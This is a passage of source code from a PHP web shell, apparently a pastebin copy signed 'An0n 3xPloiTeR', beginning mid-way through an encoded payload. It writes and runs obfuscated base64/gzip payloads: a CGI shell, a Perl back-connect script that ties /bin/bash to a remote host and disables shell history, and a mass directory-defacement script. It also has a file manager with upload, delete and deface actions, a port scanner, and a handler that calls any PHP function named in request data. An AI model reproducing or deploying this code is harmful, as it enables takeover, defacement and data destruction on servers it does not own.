Q3d3t6LdHt64OIHwkwkwxe6kj1xgzZ9wgOIf7yLlvjRw8Rn+CpOJBpXZUOqJivYtOqQ/F2a49W+g7/wX/oS7kTNifP3d68a/uDfYbZNavXmNsXFXJkx7KaAAMqGSUUGSAQI1pvaxUFR3xQkBjt1VZBdLMtgwWLDqJjaKyrKNeyvPDvHIxm9VUbc3c7QsfcssxJv7KwUcVOlyM9pF0U34YHHGn9SL4qdi6KBtSKr5VXE97RkHZYqCRAVk/n7HjpoFfkGSVEUl2+iVIvCJxSN/YL0GRphatKN0lJn4JXcAxFhVbie0C3dyU9po5qqMMb2W+xqbQw3qWiuAZyyfifTaFTicFTuZv7yEoNZJYzzJqb9y78rHES4bvAP8/qlAgyo/fGEHntl9kXgiY+F9h2y2yp7rjOU7V5KWtF+Dbty7XjULK7XHxclwXEHGYAtis0dsZ0lJQFn+mjC+vayOIO5uOrgH8UE8QifaMYoHexq/JuqbSTbbdTrRZUbx62bc6/x3DRhuFO9aH26Ed6/e6eK0Rxi0h66scTKKi+xRUrEyGrsjBljB1er12pNwA9imDY5qRwuP1WunPNopskEQ5qrC7wqmA3Sg1410nWW1WnVRFMbmYzCBrWlDubjmprjACPwEMI87ggN97ZuUM0/WULkVG3JqQtJ8KYhGCKshllhXn0+KL9UMSfboJBy28yZKwRxKFmd409zrk0aFpnxQ8FVAiGFgft5CPfB36wmKnHspNxa5breOHluS+3OPQllFyVSlepPeg9Kl2eTPLndoGygUu5fyITXmIHbiRPdd65RIY3meoS5wLd7HoUZliNwOP7QH8Es5gMOESX0LqhIdLii1UoxDZeYPGo8qiwpHOpRPTF6B34CBgOAmW3fXPEt8GU307+JLMnZ2VdSR3NuChshRQjk6Ci4laLseTFJB8P+TL8DSIoy5U0mbD463rvJjIsWTqglzeWMfWa5IOFyeD/wBy6AVDzhtxcDVBtMwsZ+K5bLMPYlmvoiSXR3ySRNJNGJafyq5KbCAQcbv32dcGaHgIWCu7SkB39Txw+YMCHmq+NpVbAwkG9aZYpPCAo3iiGJXy0i1795PRR8QMqJYewULl1HL5j8pkNQVHkDBp4xp0oc3MS491TSCI6hpRUryJs878cOfQUjR4ipx00EmBL5lQrcBCk5hVd6gE/oB+VvUAD5Cn/wL1X4gxyFb6D73tqe1BtxyF3U+eCHqPOvxP3d1Tn1twKz4bRqvkkzS8Ws5Cdxfw9d2MMv8lFkMUVDhp7MqfAOmh4B3hCLZfPW80pdzFXJzyhlesrV5JRMVfIjb7QIr/GIzhmqb9pKO43mdo4NG9kJxpbrn6qbZOjGkJJdx69RhRXp3DBypF1F5ijS+aKCE4Y8aBguEvT9TxHjB4dFOcQebU7QLqb4KFeKzElXckDMHqODKkdJ/8zk6s+asfoj576DwTquVQvux6bZEmEx6z4p6jZWRmBwh77lBg0sUVSpCZZo1aee7b8rxmz7Gr1lMbRahXWCMLymeilTMblmrfcDZgUaLOo1AB34hTqgtYN2ZNXzeol0PeNlOlF1PDMXLkrONu2ewMcjbEjRxCYOfqbwitWffvsUqL3OEryKe77ZPzVuKi3M01aiiS9f6OVpxJ54zyIYRZHa0GtIKyjAQRV4U20WGhsjZN2V3z55n42mXkwssPBaeUdEZ/mSw1r9sTaBUoYOzyjODRQBpKoYNmefSiCi8Jy5uk87q0Mu6pnImTmQW0xsO6U7prVdcfPHKTau0YLhHHUZ1Y48e7/wc4ldSnPHxVBCK7OV0Er9ViWEIdAwwCWY8dCQjYGYsrpoJTvm5CrExFiV1gW41I1YTok8f+IL8LetjKFKx0HaC4bN0kKxNo3CGm0T1qwJqAkHXoZRjUIZf4DHYoWkZ1Y+q49XcNyYcaWGI0sNZUUMMjLnpYU5hzwpp8lk+o1N9cFmdLzbYTfz3QF2njGaTkaT2yu8pTlUTXcB/7v3E6xAx4+cu+TEE8F3yJftCpJK5OC/iNJuXkWASwCph7+rru/m51jLzSIZYnwd/e3x/5d7rl/NYxpKnZ1iE/Zmp99WXrQeecFVJtOMotAhWbTaN8QAx7gbEoxPajtOrFvTdh5OoZTx5W2mRnyAgg6ak8Cbgz56aYhPcgGEqhKq6Oi5MTqnfSvMjGmtKVRk6IjduZbl9x1P5kpZ7ymbHXPhP3HgNnGuh1pW+46Js2di5E2cU5sEkTxjpLYm+bvamYTew0S6rEdn1UT6oFP+WStlxVFF4mM2+mHijFNsuR5bxvPhdU6bz2wYOhMwxEcBLoLxEnyXca1eTEfluAuEM89XwdxDfJ1Z7TcdyOubATJZ7esqvke0ylQT5vEwE0mcW9PnqZIHquSlrWIumTSrcieSiod/kH31Aic6x2EwDK0xWxYB/3HhsMOvEMNraOfQMPdOdCybFso2xYd9J24FwYXrRITM1H4+LnPyk3Gtk/Zx98Ph1otdcvA2I7E2k6fndJ4DHIPkgUfpKT7haYnwrCl/YfIU5w7iqctSxKVLvAp5uYj4GvCvW3IRlj7yi5nMz3kMjnalyJB2It9ki3i/jVjaNa63wZNstjOwgFPo4jt1z5h5FYJxU4+8vANmJJ5n3mIBwN18vUMSO3yPEftmA4oofuciG1t9aNcfpcP++86UXeBl4nhh2AiD/T9K4P5ecf5ZKop/BlUU0SzvagXygfyT3zhjpOVUwLlm6NhtIqFgTeCtrbPdnePzHR55pyCZikrkUY/MHwH258/skaq1zPB2BAp/5zuOHdXEtSJUgM9J+GqyE6ISIhZGTSB2W9PtaF8U4JP907Z5b4quK/fuIlv3OjfyPC3BNvXRCXyVsX0QFPqA3sx1c+C/qZTcxciNOZm+xIcaoeKiKRl+1Nw7Nq/URa0qo/XCRMp5NOuOC2OpQFkjt1VIKzaP2Otgymy0UOh+n4lyUIju1Fhqqs335hFL/FnHeeLveTGApMnFcyTvcqqIcqafzTciKGWtzRE7Bl74Ii/HCz6beKG15ll4KYTj5C1SBnvxopJ50X8oHBt4Ml3nISGv81BM+stDjv/FbAj/TIyLthABwsGPtBokzdA5ibGrjOAyqdLU9Xa4hmHpazpuUUV9QxUZ4CSvItq8CSYde38GQBRO2xL3e80CR/BZ4tIXMdbRHYsVdeciDn2S7b6N+ok13vnRfSalZ40s/HJUObiQv1wap4mrbr+WyPoa2RuASQbo4OCkocE8KgpMEDLMz/C81e2QpYJxpEGUh/9uAjAd9pVgzICoI+XezIRm4zqA3w3tq52+GxCUunKSQ2C0ZN6ueENTFEYHzJWbmiKfApyT3i5vBgBiZZarn5kdpS0MHc82F9G8fdwUw+81XuhecOjdrhtQAT0MpvFNiOA5cu06fnXPFzEPUhDtBUEMjf4/';
  972. $file = @fopen("izo.cin", "w+");
  973. $write = @fwrite($file, htmlspecialchars_decode(gzinflate(base64_decode($cgishellizocin))));
  974. @fclose($file);
  975. @chmod("izo.cin", 0755);
  976. $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsCnVzZSBJTzo6U29ja2V0OwokU2hlbGwJPSAiL2Jpbi9iYXNoIjsKJEFSR0M9QEFSR1Y7CnVzZSBTb2NrZXQ7CnVzZSBGaWxlSGFuZGxlOwpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOwpjb25uZWN0KFNPQ0tFVCwgc29ja2FkZHJfaW4oJEFSR1ZbMV0sIGluZXRfYXRvbigkQVJHVlswXSkpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gQ29ubmVjdCBIb3N0XG4iOwpwcmludCAiQ29ubmVjdGVkISI7ClNPQ0tFVC0+YXV0b2ZsdXNoKCk7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwiPiZTT0NLRVQiKTsKb3BlbihTVERFUlIsIj4mU09DS0VUIik7CnByaW50ICJcdFx0XHRcdC0tPT0gQmFja2Rvb3IgQ29ubmVjdGVkID09LS0gIFxuXG5cdFx0XHRcdC0tPT0gQnkgQW4wbiAzeFBsb2lUZVIgPT0tLVxuXG4iOwpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7CmNsb3NlIFNPQ0tFVDs=';
  977. $file = fopen("dc.pl", "w+");
  978. $write = fwrite($file, base64_decode($netcatshell));
  979. fclose($file);
  980. @chmod("dc.pl", 0755);
  981. echo "<iframe src='izo.cin' width=100% height=300% frameborder=0></iframe> ";
  982. echo '</div>';
  983. printFooter();
  984. }
  985.  
  986.  
  987. function actioncleanshell()
  988. {
  989.  
  990. $self= $_SERVER["PHP_SELF"]; // Where am i
  991. header("location:$self?mini_shell");
  992. }
  993. function actioncpcrack()
  994. {
  995.  
  996. $self= $_SERVER["PHP_SELF"]; // Where am i
  997. header("location:$self?cp");
  998. }
  999.  
  1000. function actionFilesMan() {
  1001. printHeader();
  1002. echo '<h1>File manager</h1><div class=content>';
  1003. if(isset($_POST['p1']) && $_POST['p1']!='deface') {
  1004. switch($_POST['p1']) {
  1005. case 'uploadFile':
  1006. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  1007. echo "Can't upload file!";
  1008. break;
  1009. break;
  1010. case 'mkdir':
  1011. if(!@mkdir($_POST['p2']))
  1012. echo "Can't create new dir";
  1013. break;
  1014. case 'delete':
  1015. function deleteDir($path) {
  1016. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  1017. $dh = opendir($path);
  1018. while ( ($item = readdir($dh) ) !== false) {
  1019. $item = $path.$item;
  1020. if ( (basename($item) == "..") || (basename($item) == ".") )
  1021. continue;
  1022. $type = filetype($item);
  1023. if ($type == "dir")
  1024. deleteDir($item);
  1025. else
  1026. @unlink($item);
  1027. }
  1028. closedir($dh);
  1029. rmdir($path);
  1030. }
  1031. if(is_array(@$_POST['f']))
  1032. foreach($_POST['f'] as $f) {
  1033. $f = urldecode($f);
  1034. if(is_dir($f))
  1035. deleteDir($f);
  1036. else
  1037. @unlink($f);
  1038. }
  1039. break;
  1040.  
  1041.  
  1042.  
  1043.  
  1044. case 'paste':
  1045. if($_SESSION['act'] == 'copy') {
  1046. function copy_paste($c,$s,$d){
  1047. if(is_dir($c.$s)){
  1048. mkdir($d.$s);
  1049. $h = opendir($c.$s);
  1050. while (($f = readdir($h)) !== false)
  1051. if (($f != ".") and ($f != "..")) {
  1052. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1053. }
  1054. } elseif(is_file($c.$s)) {
  1055. @copy($c.$s, $d.$s);
  1056. }
  1057. }
  1058. foreach($_SESSION['f'] as $f)
  1059. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  1060. } elseif($_SESSION['act'] == 'move') {
  1061. function move_paste($c,$s,$d){
  1062. if(is_dir($c.$s)){
  1063. mkdir($d.$s);
  1064. $h = opendir($c.$s);
  1065. while (($f = readdir($h)) !== false)
  1066. if (($f != ".") and ($f != "..")) {
  1067. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1068. }
  1069. } elseif(is_file($c.$s)) {
  1070. @copy($c.$s, $d.$s);
  1071. }
  1072. }
  1073. foreach($_SESSION['f'] as $f)
  1074. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  1075. }
  1076. unset($_SESSION['f']);
  1077. break;
  1078. default:
  1079. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  1080. $_SESSION['act'] = @$_POST['p1'];
  1081. $_SESSION['f'] = @$_POST['f'];
  1082. foreach($_SESSION['f'] as $k => $f)
  1083. $_SESSION['f'][$k] = urldecode($f);
  1084. $_SESSION['cwd'] = @$_POST['c'];
  1085. }
  1086. break;
  1087. }
  1088. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  1089. }
  1090.  
  1091. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1092. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  1093. global $sort;
  1094. $sort = array('name', 1);
  1095. if(!empty($_POST['p1'])) {
  1096. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1097. $sort = array($match[1], (int)$match[2]);
  1098. }
  1099. echo '<script>
  1100. function sa() {
  1101. for(i=0;i<document.files.elements.length;i++)
  1102. if(document.files.elements[i].type == \'checkbox\')
  1103. document.files.elements[i].checked = document.files.elements[0].checked;
  1104. }
  1105. </script>
  1106. <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
  1107. <form name=files method=post>';
  1108. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1109. $dirs = $files = $links = array();
  1110. $n = count($dirContent);
  1111. for($i=0;$i<$n;$i++) {
  1112. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1113. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1114. $tmp = array('name' => $dirContent[$i],
  1115. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  1116. 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  1117. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  1118. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1119. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1120. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1121. );
  1122. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  1123. $files[] = array_merge($tmp, array('type' => 'file'));
  1124. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  1125. $links[] = array_merge($tmp, array('type' => 'link'));
  1126. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  1127. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1128. }
  1129. $GLOBALS['sort'] = $sort;
  1130. function cmp($a, $b) {
  1131. if($GLOBALS['sort'][0] != 'size')
  1132. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  1133. else
  1134. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1135. }
  1136. usort($files, "cmp");
  1137. usort($dirs, "cmp");
  1138. usort($links, "cmp");
  1139. $files = array_merge($dirs, $links, $files);
  1140. $l = 0;
  1141. foreach($files as $f) {
  1142. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1143. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1144. $l = $l?0:1;
  1145. }
  1146. echo '<tr><td colspan=5>
  1147. <input type=hidden name=a value=\'FilesMan\'>
  1148. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1149. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1150. <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
  1151. if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
  1152. echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="An0n_3xPloiTeR.html" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Submit"></td></tr>
  1153. </form></table></div>';
  1154. printFooter();
  1155. }
  1156.  
  1157.  
  1158. function actionPortScanner() {
  1159. printHeader();
  1160. echo '<center><h1>Port Scanner</h1></center>';
  1161. echo '<div class="content">';
  1162. echo '<form action="" method="post">';
  1163.  
  1164. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1165. $start = strip_tags($_POST['start']);
  1166. $end = strip_tags($_POST['end']);
  1167. $host = strip_tags($_POST['host']);
  1168. for($i = $start; $i<=$end; $i++){
  1169. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1170. if($fp){
  1171. echo 'Port '.$i.' is <font color=aqua>open</font><br>';
  1172. }
  1173. flush();
  1174. }
  1175. } else {
  1176. echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
  1177. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1178. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1179. Host: <input type="text" name="host" value="localhost"/><br /><br />
  1180. Port start: <input type="text" name="start" value="0"/><br /><br />
  1181. Port end:<input type="text" name="end" value="5000"/><br /><br />
  1182. <input type="submit" value="Scan Ports" />
  1183. </form></center><br /><br />';
  1184. }
  1185. echo '</div>';
  1186. printFooter();
  1187. }
  1188.  
  1189.  
  1190. function actionDirDefacer() {
  1191. printHeader();
  1192. $dirdeface = "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";
  1193. $writing = @fopen("locales.php", "w");
  1194. @fwrite($writing, htmlspecialchars_decode(gzinflate(base64_decode($dirdeface))));
  1195. @fclose($writing);
  1196. ?>
  1197. <center>
  1198. <h1>All Dir Deface By An0n 3xPloiTeR</h1>
  1199. <br><br>
  1200. <iframe src="locales.php" height="700" width="100%"></iframe>
  1201. </center>
  1202. <br><br>
  1203. <?php
  1204. printFooter();
  1205. }
  1206.  
  1207.  
  1208.  
  1209.  
  1210. function actionStringTools() {
  1211. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1212. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1213. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  1214. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1215.  
  1216. if(isset($_POST['ajax'])) {
  1217. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1218. ob_start();
  1219. if(function_exists($_POST['p1']))
  1220. echo $_POST['p1']($_POST['p2']);
  1221. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1222. echo strlen($temp), "\n", $temp;
  1223. exit;
  1224. }
  1225. printHeader();
  1226. echo '<h1>String conversions</h1><div class=content>';
  1227. $stringTools = array(
  1228. 'Base64 encode' => 'base64_encode',
  1229. 'Base64 decode' => 'base64_decode',
  1230. 'Url encode' => 'urlencode',
  1231. 'Url decode' => 'urldecode',
  1232. 'Full urlencode' => 'full_urlencode',
  1233. 'md5 hash' => 'md5',
  1234. 'sha1 hash' => 'sha1',
  1235. 'crypt' => 'crypt',
  1236. 'CRC32' => 'crc32',
  1237. 'ASCII to HEX' => 'ascii2hex',
  1238. 'HEX to ASCII' => 'hex2ascii',
  1239. 'HEX to DEC' => 'hexdec',
  1240. 'HEX to BIN' => 'hex2bin',
  1241. 'DEC to HEX' => 'dechex',
  1242. 'DEC to BIN' => 'decbin',
  1243. 'BIN to HEX' => 'bin2hex',
  1244. 'BIN to DEC' => 'bindec',
  1245. 'String to lower case' => 'strtolower',
  1246. 'String to upper case' => 'strtoupper',
  1247. 'Htmlspecialchars' => 'htmlspecialchars',
  1248. 'String length' => 'strlen',
  1249. );
  1250. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1251. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1252. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1253. foreach($stringTools as $k => $v)
  1254. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1255. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1256. if(!empty($_POST['p1'])) {
  1257. if(function_exists($_POST['p1']))
  1258. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1259. }
  1260. echo"</pre></div>";
  1261. printFooter();
  1262. }
  1263.  
  1264. function actionFilesTools() {
  1265. if( isset($_POST['p1']) )
  1266. $_POST['p1'] = urldecode($_POST['p1']);
  1267. if(@$_POST['p2']=='download') {
  1268. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  1269. ob_start("ob_gzhandler", 4096);
  1270. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1271. if (function_exists("mime_content_type")) {
  1272. $type = @mime_content_type($_POST['p1']);
  1273. header("Content-Type: ".$type);
  1274. }
  1275. $fp = @fopen($_POST['p1'], "r");
  1276. if($fp) {
  1277. while(!@feof($fp))
  1278. echo @fread($fp, 1024);
  1279. fclose($fp);
  1280. }
  1281. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  1282.  
  1283. }
  1284. exit;
  1285. }
  1286. if( @$_POST['p2'] == 'mkfile' ) {
  1287. if(!file_exists($_POST['p1'])) {
  1288. $fp = @fopen($_POST['p1'], 'w');
  1289. if($fp) {
  1290. $_POST['p2'] = "edit";
  1291. fclose($fp);
  1292. }
  1293. }
  1294. }
  1295. printHeader();
  1296. echo '<h1>File tools</h1><div class=content>';
  1297. if( !file_exists(@$_POST['p1']) ) {
  1298. echo 'File not exists';
  1299. printFooter();
  1300. return;
  1301. }
  1302. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1303. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  1304. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
